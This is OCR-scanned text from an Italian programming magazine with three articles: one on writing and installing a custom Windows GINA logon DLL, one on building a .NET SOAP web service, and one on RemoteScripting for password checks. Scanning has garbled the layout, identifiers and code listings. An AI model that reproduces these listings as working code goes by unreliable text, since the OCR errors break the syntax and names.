pre in HKLM\\Software 
\ \Microsoft\ \ Window- 
sNT\ \CurrentVersion 
\\Winlogon. Ad esempio 
modificando i valori Le- 
galNoticeCaption e Le- 
galNoticeText, si posso- 
no impostare le stringhe 
da visualizzare nelle fi- 
nestre di dialogo della 
schermata iniziale di ac- 
cesso. 
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Sistema 



Cambia 

pelle al Log in 
di Windows 



Secure 
Attention 
Sequence (SAS) 

r& Winlogon utilizza 
^ una speciale sequen- 
za di eventi per ricono- 
scere quando un utente 
vuole effettuare il login. 
Questa sequenza di 
eventi viene chiamata 
SAS. Un esempio di se- 
quenza sicura è la pres- 
sione di CTRL + ALT + 
CANC o l'inserimento di 
una smart card, opera- 
zioni che inviano un mes- 
saggio di notifica SAS al 
componente WINLOGON. 



gedOnllser e CreateProcessAslIser per attivare i servizi 
personali dell'utente che ha effettuato il login corretta- 
mente. 

Nella fase di disconessione (WlxLogOff) vengono in- 
vece rilasciati i puntatori del contesto utente e viene 
eseguito un check per decidere se bisogna richiedere 
all'utente la pressione di CTRL+ALT+CANC o se è ne- 
cessario effettuare il login automatico dell' ammini- 
stratore. 



switch (Msg) 



VOID WINAPI WlxLogoff(PVOID pWlxContext) 


< 


p = (PMYGINA CONTEXT)pWlxContext; 


p->hl_SA = NULL; 


p->hllserToken = NULL; 


if (GetProfileInt(TEXT("Winlogon M ), 

TEXT("AutoAdminLogor 


1,0)) 


{ 


p->WlxFunctions->WlxSasl\lotify(p->hWlx, 
WLX SAS TYPE CTRL ALT 


DEL); 


> 


return; 


}■ 




Fig. 5: Per installare MYGINA.DLL è necessario 
inserire una chiave GinaDLL nel registro di 
Windows. 



Da notare che l'accesso alle funzioni Wlx viene ese- 
guito proprio tramite il puntatore ad una struttura 
WlxContext, tramite l'insolita chiamata con puntatori 
innestati del tipo p->WlxFundions->WlxSasNotify. 
Il resto delle funzioni di MYGINA.C è simile a quelle 
esaminate e in molti casi (come nella WlxShutDown) si 
limita ad una sola istruzione di return. Il file GINA_ 
GUI.C provvede infine a processare i messaggi notifi- 
cati alle finestre di dialogo di MYGINA usando la sin- 
tassi caratteristica delle finestre di Windows (una 
istruzione switch seguita dai diversi casi di messaggio 
previsti); possiamo limitarci a considerare come esem- 
pio la sola WelcomeDlgProc: 

int CALLBACK WelcomeDlgProc(HWND hDIg, UINT Msg, 

WPARAM wParam, LPARAM IParam) 

{ 



_i_ 



case WM INITDIALOG: 



CenterWindow(hDlg); 



return TRUE; 



case WLX WM SAS: 



break; 



default: 



return FALSE; 



return FALSE; 



Modifica stringa 



Nome va . 



! GinaDLL 



Dati valore: 



J:\WINDOWS\SYSTEM32\MYGINA.DLL! 



OK 



Annulla 



Fig. 6: Il valore della chiave GinaDLL deve puntare 
al file con la nostra libreria di autenticazione. 



CONCLUSIONI 

La compilazione della DLL può essere effettuata me- 
diante l'utilità NMAKE di Visual Studio, da lanciare 
da una shell MS-DOS all'interno della directory di 
\MYGINA e in presenza del MAKEFILE. Una volta 
compilata la libreria, la procedura per attivare MYGI- 
NA.DLL prevede i seguenti passi e va fatta con molta 
cautela, disponendo dei permessi di Administrator (te- 
stata su Windows 2000 /XP Professional) : 

• copiare MYGINA.DLL nella cartella \WIN- 
DOWS\SYSTEM32 (o \WINNT\SYSTEM32); 

• aprire REGEDIT; 

• posizionarsi su HKLMWSoftwareWMicrosoft 
\ \ WindowsNT\ \ CurrentVersion \ \ Winlogon ; 

• inserire un nuovo Valore /Stringa chiamato Gi- 
naDLL; 

• editare il contenuto del valore inserito indicando il 
percorso completo della libreria che si vuole usare 
(ad esempio C:\WINDOWS\SYSTEM32 \MYGI- 
NA.DLL); 

• riavviare il computer. 

Al successivo riavvio non mancheranno certo le sor- 
prese. In caso di problemi di avvio o di errori in fase 
di login che impediscono l'avvio normale del sistema, 
il rimedio consiste nella procedura di ripristino della 
GINA originale di Microsoft (MSGINA) riportata sem- 
pre in queste pagine. 

Elia Florio 
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TEORIA 



TECNICA 



Costruire 

UN WEB SERVICE CON LA PIATTAFORMA .NET 



Cos'è un Web Service. 

La traduzione letterale di "Web 

Service" è "servizio web". Cerchiamo 

di comprendere meglio il concetto di 

"servizio" prima di addentrarci nelle 

specificità dei servizi sul Web. 



Un servizio, nella sua accezione più ampia, è 
una potenzialità messa a disposizione da 
parte di un fornitore ed utilizzata da uno i 
più consumatori. In sostanza un fornitore mette a di- 
sposizione una sua capacità, sia essa computazionale 
o informativa, ed un qualche consumatore la utilizza. 
Pensate ad esempio ad un operatore di help desk che 
riceve una chiamata dal consumatore di turno (l'u- 
tente) e cerca per quanto gli è possibile di soddisfare 
il bisogno del chiamante, cioè di fornirgli il servizio 
che richiede. Chi sviluppa software, indipendente- 
mente dalle architetture utilizzate, ha di certo in men- 
te quanto siano importanti i servizi messi a disposi- 
zione dalle librerie, siano esse dell'ambiente che stia- 
mo utilizzando oppure di terze parti, che ci permetto- 
no di utilizzare certi "servizi" computazionali senza 
far caso alla loro implementazione, trattandoli cioè 
come black box, scatole nere che dichiarano di riceve- 
re certi parametri e di restituire un risultato computa- 
zionale certo e corretto. In questi casi il consumatore 
si fida delle specifiche ed utilizza i servizi offerti. Una 
volta compreso il concetto di servizio appare chiara 
l'importanza che riveste il canale attraverso il quale 
un servizio viene erogato e distribuito. Con il trascor- 
rere del tempo ha iniziato a farsi più pressante la con- 
cezione di "distribuzione" dei servizi, cioè la possibi- 
lità di avere fornitori di servizio che non fossero sol- 
tanto accanto ai loro consumatori ma che fossero geo- 
graficamente distribuiti e quindi raggiungibili da una 
platea di consumatori maggiore e di conseguenza più 
variegata. Ecco nascere quindi l'esigenza di avere la 
disponibilità di servizi dotati della massima forma di 
distribuzione attualmente a disposizione, cioè la rete 
Internet, e all'interno di essa il sistema di distribuzio- 
ne delle informazioni che più si addice a diventare ca- 
nale di erogazione di un servizio è senza dubbio il ca- 
nale web, ecco nascere quindi il concetto di "Web Ser- 
vice", cioè un servizio computazionale erogato attra- 
verso il web e quindi, nella maggioranza dei casi, at- 
traverso HTTP. In questo contesto assume anche 
grande importanza il concetto di "interoperabilità" di 



un servizio, la possibilità cioè di utilizzarlo senza co- 
noscere come funziona né come è stato sviluppato né 
su quali architetture hardware e software si appoggia, 
l'unica cosa da conoscere per poterlo utilizzare è l'in- 
terfaccia dei metadati che espone, esattamente quello 
che serve per utilizzare un servizio tradizionale. Tutte 
queste esigenze hanno portato alla definizione della 
specifica SOAP (Simple Access Object Protocol) per 
permettere una migliore interoperabilità tra i diversi 
servizi che vengono messi a disposizione sul canale 
dedicato alla distribuzione. Attraverso SOAP si ha la 
certezza che le informazioni che transitano tra il con- 
sumatore ed il fornitore del servizio seguano degli 
standard definiti e quindi, sostanzialmente, parlino la 
stessa lingua e siano in grado di comprendersi indi- 
pendentemente dalla piattaforma hardware e softwa- 
re dell'uno o dell'altro. I fondamenti di SOAP sono 
XML, il sistema di codifica attraverso il quale si seria- 
lizza l'informazione in un pacchetto dati che viene 
chiamato payload, ed un protocollo di trasporto in 
grado di trasportare dati XML. Spesso, anzi spessissi- 
mo, si tratta di HTTP. 



LA PIATTAFORMA .NET 

Una delle grandi potenzialità della piattaforma .Net 
di Microsoft è di certo l'enorme possibilità che offre 
dal punto di vista dell' interoperabilità interna. Il cuo- 
re di tutta l'architettura, infatti, è il CLR (Common 
Language Runtime) una macchina virtuale che astrae 
il sistema operativo sottostante e che ha i seguenti 
compiti: 

• eseguire il software scritto ad hoc per il runtime 

• gestire i servizi di start e stop di thread e processi 

• gestire autonomamente l'allocazione e la libera- 
zione della memoria 

• gestire il Garbage Collecting, cioè il recupero di 
zone di memoria allocate per oggetti che non so- 
no più referenziati 

La vera svolta sta nel fatto che, essendo un ambiente 
di runtime, garantisce l'indipendenza dal sistema 
operativo e, di conseguenza, dalla piattaforma hard- 
ware. L'interoperabilità interna, inoltre, è garantita 
dal fatto che all'interno del runtime possono girare 
applicazioni scritte utilizzando linguaggi di program- 
mazioni differenti in quanto i singoli compilatori tra- 
sformeranno i sorgenti in codice che possa essere ese- 
guito direttamente dal runtime e sostanzialmente non 




Soap 



File sul CD 

\soft\codice\ws_soap.zip 



SOAP 

y-S SOAP è un protocol- 
^■J lo applicativo che 
fornisce le regole per 
permettere ad applica- 
zioni distribuite di scam- 
biarsi informazioni e di 
richiedere l'esecuzione di 
servizi remoti. Le appli- 
cazioni si scambiano 
messaggi attraverso un 
pacchetto informativo 
che prende il nome di 
payload, una struttura 
XML complessa. Non esi- 
stono restrizioni per quel 
che riguarda il protocollo 
di trasporto utilizzato, 
l'unico vincolo è che sia 
in grado di trasportare il 
semplice testo. In realtà, 
sebbene non esistano 
controindicazioni di sorta 
verso altro protocolli, si 
tende a privilegiare HTTP 
per la sua ampia distri- 
buzione e per le caratte- 
ristiche di request/re- 
sponse simili a quelle di 
SOAP. 
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Soap 



Costruire 

un Web Service con 
la piattaforma .Net 



WSDL 

y-S WSDL è una specifica 
--J delW3C 

http: /www. w3c.org/TR/wsdl 

che ha l'obiettivo di fornire 
la descrizione di un Web 
Service utilizzando un'ap- 
plicazione di XML. Poiché i 
Web Services sono per de- 
finizione distribuiti su piat- 
taforme differenti e consu- 
mati da client che a priori 
non sono noti, è bene defi- 
nire un file WSDL per ogni 
servizio che si produce in 
modo da disaccoppiare il 
servizio dal client che cerca 
di utilizzarlo. In questo mo- 
do il client non utilizza di- 
rettamente il Web Service, 
ma passa attraverso la sua 
descrizione in WSDL per 
capire come fare ad utiliz- 
zare il servizio. 



Ó 



Cosa serve 
per sviluppare 
con .Net? 

Tutto il necessario 
per lo sviluppo di 
applicazioni con la piat- 
taforma .Net è disponibi- 
le gratuitamente su In- 
ternet. 

In particolare l'oggetto 
che serve è il .Net Fra- 
mework SDK che al mo- 
mento della stesura di 
questo articolo è nella 
versione 1.0 ed è scarica- 
bile all'indirizzo: 

http: //download .microsoft 
.com/download/.netframesdk 
/SDK/1.0/W98NT42KMeXP 
/EN-US/setup.exe. 



c'è alcuna differenza nell'utilizzare un linguaggio 
piuttosto che un altro, a tutto vantaggio delle cono- 
scenze personali e delle esperienze maturate. In un 
ambiente così incline airinteroperabilità non poteva 
mancare una gestione completa dei Web Services, ve- 
diamo come è possibile sviluppare da zero un Web 
Service utilizzando la piattaforma .Net. 

IL NOSTRO PRIMO 
WEB SERVICE 

Per scrivere del codice di qualunque natura è indi- 
spensabile scegliere dapprima il linguaggio da utiliz- 
zare e questo per fortuna con l'architettura .Net è dav- 
vero possibile. Noi svilupperemo i nostri Web Servi- 
ces utilizzando C#, ma vedremo anche che tutto il co- 
dice scritto si può convertire, anche automaticamente 
utilizzando i tool di sistema, in un altro linguaggio 
supportato dalla piattaforma, in particolare VB.Net. 
Quello che sviluppiamo non avrebbe dignità di esse- 
re il nostro "primo" Web Service se non fosse il classi- 
co Hello World, vediamone subito il codice: 

<%@ WebService Language="C#" class="HelloWorld" %> 

using System. Web. Services; 

public class HelloWorld : WebService 

{ [WebMethod] 

public string HelloWorldMethodQ 

{ return "Hello World"; } 

} 

Chi conosce ASP.NET troverà familiarità con questo 
codice in quanto assomiglia molto al codice sorgente 
di una pagina aspx. In effetti un Web Service in .Net è 
una particolare pagina ASP.NET con estensione asmx. 
La prima cosa da notare in questo sorgente è la pre- 
senza, all'interno dell' intestazione, della direttiva 
WebService che ci fa capire qualcosa sul comporta- 
mento di questo oggetto, il particolare questa diretti- 
va indica al sottosistema ASP.NET che tutto il codice 
presente in quella pagina dovrà essere tratato, e quin- 
di esposto verso l'esterno, come Web Service. Le altre 
direttive comunicano ad ASP.NET che il codice sor- 
gente della pagina è scritto in linguaggio C# e che la 
classe principale del Web Service, cioè quella che do- 
vrà essere esposta, si chiama HelloWorld. Quasi a 
rinforzare questo concetto troviamo il modificatore 
WebService sulla stessa riga della dichiarazione della 
classe implementata: 

public class HelloWorld : WebService 

Naturalmente all'interno della classe che implementa 
il Web Service ci possono essere metodi da esporre co- 
me singoli servizi ed altri metodi privati da non pub- 
blicare verso il mondo esterno, la distinzione tra le 
due tipologie di metodi è piuttosto semplice, se prima 
di un metodo è presente il modificatore [WebMethod] 
allora questo implementa uno dei servizi messi a di- 



sposizione dal Web Service. Come avrete capito quin- 
di le differenze fondamentali, a livello di sintassi, tra 
una pagina ASP.NET ed un Web Service sono le se- 
guenti: 

1 . L'estensione di un Web Service è .asmx e non .aspx 
come avviene per le pagine ASP .NET. 

2. Nell'intestazione della pagina .asmx deve essere 
presente la direttiva WebService. 

3. Nella dichiarazione della classe che implementa il 
Web Service deve essere presente il modificatore 
WebService. 

4. Prima di ogni metodo che implementi un servizio 
web deve essere presente il modificatore [Web- 
Method]. 

Nel nostro caso quindi avremo un Web Service im- 
plementato dalla classe HelloWorld che esporrà un 
unico metodo: HelloWorldMethodQ. Naturalmente per 
poter "essere" un Web Service la classe dovrà utiliz- 
zare a sua volta degli oggetti e dei servizi specifici, 
questi sono contenuti all'interno del namespace Sy- 
stem. Web. Services che dovrà essere importato utiliz- 
zando l'istruzione using System.Web. Services; 

DEPLOY DEL WEB SERVICE 

Per installare il Web Service appena creato procedete 
in questo modo: 

• Create una directory qualsiasi sul vostro sistema 
ed in questa posizione copiate il sorgente del Web 
Service all'interno del file HelloWorld. asmx. 

• Create, dall'interno del tool di configurazione di 
US, una directory virtuale con permessi di esecu- 
zione di script e fatela puntare alla directory fisica 
dove avete posizionato il file. Nel nostro caso la 
directory virtuale ha il nome "WebServices". 

• A questo punto potete attivare il servizio di US ed 
avrete il primo Web Service attivo sul vostro ser- 
ver. 

TESTARE IL SERVIZIO 
CON UN CLIENT 

In .Net i Web Services possono essere utilizzati diret- 
tamente con il protocollo HTTP, vanno bene sia il me- 
todo Get che il Post, oppure attraverso SOAP che uni- 
sce la possibilità di trasferire informazioni complesse 
codificate in XML. La piattaforma .Net prevede che 
un Web Service possa essere invocato direttamente 
dal più semplice client HTTP che abbiamo a disposi- 
zione, il browser. 

Se avete fatto tutti i passaggi descritti in precedenza 
il server US sul vostro sistema dovrebbe mettere a 
disposizione una URL per accedere via HTTP al 
Web Service, questa URL è: 

http ://localhost/webservices/HelloWorld. asmx 
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Se facciamo puntare Internet Explorer (dalla versione 
5.5 in poi) alla URL sopra indicata ecco che comparirà 
(Fig. 1) la pagina di descrizione del Web Service che 
abbiamo creato. 




This web service is using http://tempuri.org/ as its default namespace. 
Recommendation: Change the default namespace before the XML Web service is 



Fig. 1: La pagina di descrizione del nostro Hello 
World! 

La pagina di descrizione del servizio, generata dina- 
micamente come risposta alla richiesta HTTP del ser- 
vizio, fornisce tutte le informazioni che ci servono per 
capire cosa il questo metta a disposizione in termini di 
funzionalità. Nel nostro caso è presente l'unico meto- 
do Hello WorldMethod. Questa pagina fornisce anche 
informazioni addizionali, nel nostro caso è presente 
un warning in quanto il nostro Web Service non defi- 
nisce nessun particolare namespace e quindi gli viene 
assegnato in automatico il namespace di default che è 
http://tempuri.orgl in questo caso il Web Service fun- 
ziona senza problemi ma l'assenza di un namespace 
definito potrebbe creare problemi di conflitti nell'ipo- 
tesi di distribuzione del Web Service in un ambiente 
pubblico come la rete Internet. Notate che questa pa- 
gina ci spiega anche come si possa definire un name- 
space appropriato per il Web Service in oggetto for- 
nendo frammenti di codice C# e VB.Net. La URL che 
è stata invocata per ottenere questa pagina è la se- 
guente: 

http://localhost/webservices/HelloWorld.asmx?op= 

HelloWorldMethod 
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Fig. 2: Clickando invece sul nome del metodo 
pubblicato sulla pagina di descrizione del Web 
Service sarà possibile ottenere le informazioni di 
dettaglio della singola funzionalità. 



Fig. 3: La risposta del servizio. 

potrete notare come sia stata fatta una normalissima 
GET alla stessa pagina del Web Service. Questa volta 
però le è stato passato come parametro il nome del 
metodo che ci interessa e, seguendo la filosofia .Net, 
abbiamo ottenuto la sua descrizione. Questa pagina 
contiene informazioni ancora più accurate e, oltre a 
permetterci di testare immediatamente il servizio at- 
traverso il pulsante "Invoke" , ci spiega anche come 
consumare il servizio utilizzando le tre modalità stan- 
dard HTTP Get, HTTP Post e SOAP. Per ciascuna di 
queste modalità di comunicazione c'è un esempio di 
request e di response. In particolare ci viene spiegato 
che per consumare il servizio in HTTP Get è necessa- 
rio raggiungere la URL /webservices/ HelloWorld. asmx 
/HelloWorldMethod? e questo è esattamente quello che 
si ottiene utilizzando la funzionalità di test offerta di- 
rettamente dalla pagina di descrizione del servizio. 
Premendo il pulsante "Invoke" infatti invocheremo il 
servizio e ci troveremo di fronte alla risposta (Fig. 3) 
ottenuta dal Web Service. In questo caso, avendo uti- 
lizzato lo stesso browser, la modalità di utilizzo del 
servizio sarà proprio HTTP Get e di conseguenza la fi- 
nestra del browser punterà esattamente all'URL de- 
scritto in precedenza. 

LA CARTA DI IDENTITÀ 
DEL WEB SERVICE: 
IL FILE WSDL 

Una volta creato un Web Service è necessario permet- 
tere lo sviluppo di client che possano utilizzarlo. Per 
far questo è necessario che il servizio sia dotato della 
propria carta di identità, ovvero il file WSDL. WSDL 
(Web Service Description Language) è un'applicazione 
di XML che ha il compito di descrivere un servizio re- 
moto e le modalità di comunicazione che il consuma- 
tore deve utilizzare per comunicare con il servizio 
stesso. La semantica e la sintassi di WSDL sono piut- 
tosto complesse, pertanto la produzione del file di de- 
scrizione associato ad un Web Service è di solito lun- 
ga e noiosa e di conseguenza soggetta ad imperfezio- 
ni ed errori. La piattaforma .Net, però, mette a dispo- 
sizione un automatismo interessante per la produzio- 
ne del descrittore del servizio. È sufficiente infatti in- 
viare una request HTTP al servizio stesso passandole 
il parametro WSDL per ottenere automaticamente il 
completo descrittore del servizio. Questo si può fare 
direttamente con il browser inserendo la URL se- 
guente: 

http://localhost/webservices/HelloWorld.asmx?WSDL 




Web 
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la piattaforma .Net 
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Linguaggi 
in .Net 

La piattaforma .Net 
mette a disposizio- 
ne alcuni linguaggi nati- 
vi che sono totalmente 
interoperabili, si tratta 
di C + +, Visual Basic 
.Net, C# ed il nuovissi- 
mo J#. 

Poiché le specifiche di 
compilazione e di produ- 
zione del linguaggio in- 
termedio sono aperte, 
esistono numerosissimi 
linguaggi di terze parti, 
ecco qualche esempio: 
Perl, Pascal, Cobol, Ada, 
Phyton, in tutto se ne 
contano una quarantina. 
Questi linguaggi posso- 
no essere utilizzati per 
scrivere codice che ven- 
ga poi tradotto in Inter- 
mediata Language dal 
proprio compilatore e 
spesso anche per scrive- 
re pagina ASP.Net. 
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UDDI 

Spesso avere un 
grande repository 
di informazioni o di ser- 
vizi non è sufficiente, è 
necessario anche avere 
gli strumenti per trovare 
l'informazione o il servi- 
zio giusto quando serve. 
Mentre sul Web questo è 
il compito dei motori di 
ricerca, nel panorama 
dei Web Services è stato 
costituito, da un consor- 
zio di più di 300 aziende, 
un database in grado di 
immagazzinare tutti i 
servizi web offerti dalla 
aziende stesse con 
l'obiettivo poter ricerca- 
re i servizi e le informa- 
zioni dettagliate per ac- 
cedere ai servizi stessi. 
La specifica di disegno 
ed utilizzo di queste in- 
formazioni è UDDI (Uni- 
versal Description Disco- 
very and Integration). 



Ecco il descrittore del servizio bello e pronto. Questo 
automatismo è molto importante in quanto ci evita di 
dover pensare alla descrizione del servizio stesso e ci 
permette di concentrarci sulla sua implementazione. 



LA CLASSE PROXY 

Una volta ottenuto il file WSDL di descrizione del ser- 
vizio è possibile creare in maniera automatica una 
classe che faccia da proxy per i possibili consumatori, 
cioè ci permetta di utilizzare il Web Service senza 
preoccuparci delle modalità con le quali questo viene 
chiamato ed utilizzato. Una classe proxy è un oggetto 
.Net, utilizzato direttamente da un'applicazione, il cui 
compito è rendere trasparente al consumatore l'acces- 
so al Web Service. Per creare automaticamente la clas- 
se proxy si utilizza il tool wsdl.exe fornito con il .Net 
Framework SDK, il comando da eseguire dal prompt 
dei comandi è il seguente: 

wsdl /language:CS http://localhost/WebServices 

/HelloWorld.asmx?WSDL 

In questo caso si chiede al tool wsdl.exe di generare in 
linguaggio C# una classe proxy verso il Web Service 
il cui file di descrizione WSDL sia quello indicato. No- 
tate che se avessimo scelto Visual Basic .Net come lin- 
guaggio di destinazione, sarebbe bastato modificare il 
valore del parametro /language da CS a VB. Una vol- 
ta eseguito il comando ci troveremo sul file system il 
file HelloWorld.es e potremo compilarlo attraverso il 
comando: 

esc /t:library /out: HelloWorld.dll HelloWorld.es /r: system.dll 
/r: system.xml.dll /r: system.web.services.dll 

Con questo comando abbiano compilato il file sor- 
gente HelloWorld.es utilizzando l'opzione target /t:li- 
brary che spiega al compilatore che vogliamo ottenere 
una libreria di classi. L'output sarà nel file /oufcHel- 
loWorld.dll e per far questo utilizzeremo i metadata 
degli assembly indicati con l'opzione /r. Il file ottenu- 
to dalla compilazione sarà HelloWorld.dll e dovrà es- 
sere inserito nella directory bin dell'applicazione 
ASP.NET che vorrà utilizzare il Web Service. 



ILCLIENTASP.NET 

Creiamo un'applicazione ASP.NET composta dalla 
pagina seguente: 



<body> 



<%@ Page Language= 


"VB" %> 


<script runat= "server" 


> 


sub Hello(sender As 


Object, e As EventArgs) 


dim objhello as new HelloWorld 


IbIMessage.Text = 


= objhello. HelloWorldMethodQ 


end sub 


</script> 


<html> 



<form runat="server"> 



<asp: Label id = "lblMessage" Text="Premi il 

pulsante per attivare il servizio" runat="server"/> 



<br/> 



<asp:Button id = "Buttonl" Text="Invia" 
OnClick= "Hello" runat= "server"/ > 



<br/> 



</form> 



</body> 



</html> 

Creiamo la directory virtuale WSjClient dallo stru- 
mento di configurazione del nostro US e nella posi- 
zione fisica puntata dalla directory virtuale salviamo 
il file client.aspx con il contenuto precedente. Sempre 
nella stessa posizione creiamo la directory bin all'in- 
terno della quale andremo ad inserire la classe proxy 
HelloWorld.dll che abbiamo appena compilato. 
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Fig. 4: Cliccando su "invia" possiamo lanciare il 
servizio. 



Quello che abbiamo ottenuto (Fig. 4) è un'applicazio- 
ne ASP.NET raggiungibile attraverso l'URL http://lo- 
calhost/ 'WS jClientf 'client.aspx e che utilizza il Web Ser- 
vice HelloWorld che abbiamo creato. Per consumare il 
servizio l'applicazione utilizza la classe proxy Hel- 
lo World.dll che abbiamo costruito automaticamente a 
partire dal descrittore del servizio. 
Se proviamo a premere il pulsante otterremo (Fig. 5) 
l'esecuzione del metodo del Web Service e di conse- 
guenza l'utilizzo del valore restituito dallo stesso me- 
todo per modificare la label all'interno della pagina 
ASP.NET. 




Fig. 5: l'output del nostro Web Service 



CONCLUSIONI 

Abbiamo creato un Web Service all'interno della piat- 
taforma .Net utilizzando C#, abbiamo installato e te- 
stato il Web Service attraverso gli automatismi messi 
a disposizione dalla piattaforma .Net. Abbiamo poi 
creato un'applicazione ASP.NET in grado di consu- 
mare il Web Service attraverso l'utilizzo di una classe 
proxy generata attraverso i tool messi a disposizione 
dalla piattaforma stessa. 

Massimo Canducci 
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Remote 

SCRIPTING: L'INTERATTIVITÀ 
A PORTATA DEL WEB 



Sebbene con l'avvento di .net i 

problemi delle applicazioni web legati 

all'interattività tra client e server stiano 

scomparendo, grazie anche a 

protocolli come SOAP e a componenti 

come XMLHTTP, risulta utile, 

lavorando con sistemi che non 

supportano tali tecnologie, occuparci 

di RemoteScripting. 



Se fino a qualche anno fa la differenza tra appli- 
cazioni web ed applicazioni desktop era ben 
chiara, da un po' tende ad esserlo sempre meno; 
lo sviluppatore web, a cui fino a ieri veniva chiesto di 
produrre per lo più oggetti statici, è oggi sempre più 
a contatto con richieste di contenuto altamente dina- 
mico. Questa interattività, tanto ricercata, viene pur- 
troppo smorzata dalla natura dei browser, che si limi- 
tano nello scambio di dati tra client e server solo al- 
l'invio di una form o al click di un collegamento iper- 
testuale. Alcune tecniche, come l'impiego di dhtml e 
JavaScript, permettono di aggirare il problema egre- 
giamente ma la loro implementazione, se progettata 
da zero, rischia di deconcentrare lo sviluppatore dal- 
l'obiettivo reale dell' applicazione che va costruendo. 
In Rete esistono varie soluzioni già pronte all'uso, 
ognuna con i propri pregi e difetti: in generale l'obiet- 
tivo di tutte è quello di richiamare funzioni remote e 
ritornare il risultato al browser. In questo articolo ci 
occuperemo in particolare delle due soluzioni mag- 
giormente utilizzate, Microsoft RemoteScripting e 
Brent Ashley's JavaScript RemoteScripting. Su quale 
delle due cadrà la scelta dello sviluppatore è una que- 
stione aperta, ciascuna ha le proprie caratteristiche. 
Vediamo gli aspetti principali di entrambe. 

MICROSOFT 
REMOTESCRIPTING 

Microsoft RemoteScripting (abbreviato MSRS) è il no- 
me di una tecnologia prodotta dalla casa di Redmond 
che permette di richiamare, tramite script posti su pa- 
gine lato client, codice ASP presente su pagine lato 
server, senza alcun bisogno di effettuare il refresh del- 



le pagine client in questione. L'intero pacchetto è com- 
posto da tre file: un'applet Java invisibile, un file Ja- 
vaScript da includere lato client e una pagina ASP da 
includere lato server. L'idea che sta alla base di MSRS 
è relativamente semplice: viene utilizzata l'applet Ja- 
va come ponte (proxy) tra la pagina client e la pagina 
ASP del server, utilizzando unicamente il protocollo 
http per lo scambio dei messaggi. La comunicazione 
tra le parti avviene dietro le quinte richiamando un 
metodo dell' applet Java, dall'interno di un blocco 
script della pagina client: MSRS consente di trattare le 
pagine ASP come oggetti e di poterne richiamare le 
funzioni tramite la sintassi Oggetto. MetodoO. La tecno- 
logia con cui è progettato, consente inoltre l'esecuzio- 
ne di codice su server in modalità asincrona, evitando 
di bloccare il browser inutilmente quando, ad esem- 
pio, è necessario effettuare operazioni che richiedono 
un certo ammontare di tempo. Il supporto per i brow- 
ser è limitato a IE4.x e NS4.x su sistemi Windows e 
laddove sia installata una JVM, (MSRS non può fun- 
zionare senza l'applet Java di cui è composto). MSRS 
è largamente utilizzato nelle intranet dove i sistemi 
client che vi si collegano sono ben noti agli sviluppa- 
tori e che appartengono al mondo Windows. 

BRENT ASHLEY'S 

JAVASCRIPT 

REMOTESCRIPTING 

Questo componente, sviluppato su base open source 
da un programmatore di nome Brent Ashley, è un se- 
rio concorrente di MSRS; sviluppato interamente in 
JavaScript, JSRS (questo è il nome alternativo del pro- 
dotto) permette di mandare in esecuzione da client 
pagine lato server scritte in un vasto numero di lin- 
guaggi diversi: ASP, PHP, JSP, ColdFusion e PERL. 
Come per MSRS, anche questo pacchetto si basa su 
pochi file, un file JavaScript da includere nel client 
html e una pagina da includere lato server, da sce- 
gliere a seconda del linguaggio con cui si sviluppa nel 
webserver interessato. JSRS utilizza un IFRAME tra- 
sparente (o un LAYER a seconda del browser) per ca- 
ricare dinamicamente tramite JavaScript i dati dalla 
pagina server; è anch'esso asincrono (anche se non è 
possibile parlare di asincronicità ma di polling traspa- 
rente in ambedue i casi) e supporta un'ampia gamma 
di browser: IE4.x, NS4.x, Opera, Galeon, IE4.x su Mac. 
Data la sua natura basata su JavaScript, JSRS non ne- 
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cessita di JVM per funzionare. JSRS sta riscuotendo 
un enorme successo, sia per la sua inclinazione open 
source sia per la compatibilità molto elevata tra brow- 
ser e sistemi differenti. 



IL PROBLEMA 

Nell'obiettivo di questo articolo, ci porremo come 
problema lo sviluppo di una sezione di un'applica- 
zione web per la convalida di una password immessa 
dall'utente tramite una form html. In particolare si de- 
sidera che la convalida avvenga richiamando una 
funzione sul server web e che il risultato venga reso 
noto all'utente tramite un alert JavaScript, senza effet- 
tuare alcun refresh della pagina in questione. Per ot- 
tenere questa funzionalità, utilizzeremo RemoteScrip- 
ting all'interno delle due pagine e renderemo la pagi- 
na client capace di comunicare con quella server in 
maniera interattiva. Al fine di sviluppare codice che 
sia compatibile con i due componenti proposti, sce- 
gliamo ASP come linguaggio per le pagine lato server 
e JavaScript per quelle client. Procediamo stabilendo 
innanzitutto la semplice struttura della sezione del si- 
to che andiamo a costruire: 

• /verify.htm - Pagina client di immissione pas- 
sword per l'utente. È una semplice pagina html 
che comprende un form, un campo input dove 
l'utente immetterà la password ed un link che 
permetterà di lanciare il codice JavaScript di veri- 
fica password lato server. 

• /engine.asp - Pagina di codice lato server per la 
convalida della password. Contiene la funzione di 
convalida vera e propria della password immessa 
dall'utente. 

Progettato lo scheletro applicativo, vediamo nel det- 
taglio l'implementazione con ciascuna delle due solu- 
zioni di RemoteScripting presentate nel corso dell'ar- 
ticolo. 



L'APPROCCIO MICROSOFT: 
IL CLIENT 

Per abilitare MSRS nella pagina client, è sufficiente in- 
serire all'interno del tag <body> queste poche righe di 
codice: 




Fig. 1: L'output dell'applicazione su Internet 
Explorer e Netscape 

presente che il percorso utilizzato (../_ScriptLibrary) è 
relativo a quello in cui l'applicazione web è stata crea- 
ta su US e dipendente dalla cartella scelta in fase di in- 
stallazione del componente. Con una semplice chia- 
mata alla funzione RSGetASPObjectQ - resa disponi- 
bile dagli include precedenti - è ora possibile, in qual- 
siasi blocco script della pagina, ottenere un nuovo og- 
getto dinamico che ci permetterà di interagire con la 
pagina ASP; tale oggetto, attraverso i propri metodi 
pubblici, permette di mandare in esecuzione il codice 
di quest'ultima. RSGetASPObjectQ ammette un solo 
parametro, il nome del file ASP con cui si intende in- 
teragire tramite MSRS: 

var objRS = RSGetASPObject('engine.asp'); 

Supponendo di aver definito e reso esportabile (si ve- 
da in merito la prossima sezione) la funzione Verify- 
PasswordQ di erigine. asp, e che questa funzione ritorni 
un valore booleano a seconda della bontà del suo pa- 
rametro, diventa ora possibile mandare in esecuzione 
tale funzione da client con la semplice riga: 

var objResult = objRS.VerifyPassword(szPassword); 

La chiamata non ritorna il risultato booleano, come ci 
si potrebbe aspettare, ma ritorna un nuovo oggetto 
che contiene diverse proprietà: quella che in questo 
momento ci interessa è return joalue che conserva il ri- 
sultato della nostra funzione; tra le altre proprietà, di 
sicuro interesse è status, che conserva lo stato di suc- 
cesso della chiamata. Rimandiamo alla documenta- 
zione ufficale per ulteriori dettagli. Nel listato 1 è pos- 
sibile vedere il sorgente della pagina verify.htm, com- 
pleto di quanto esposto fin'ora. 
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ASP e Java 

Al fine di sviluppare 
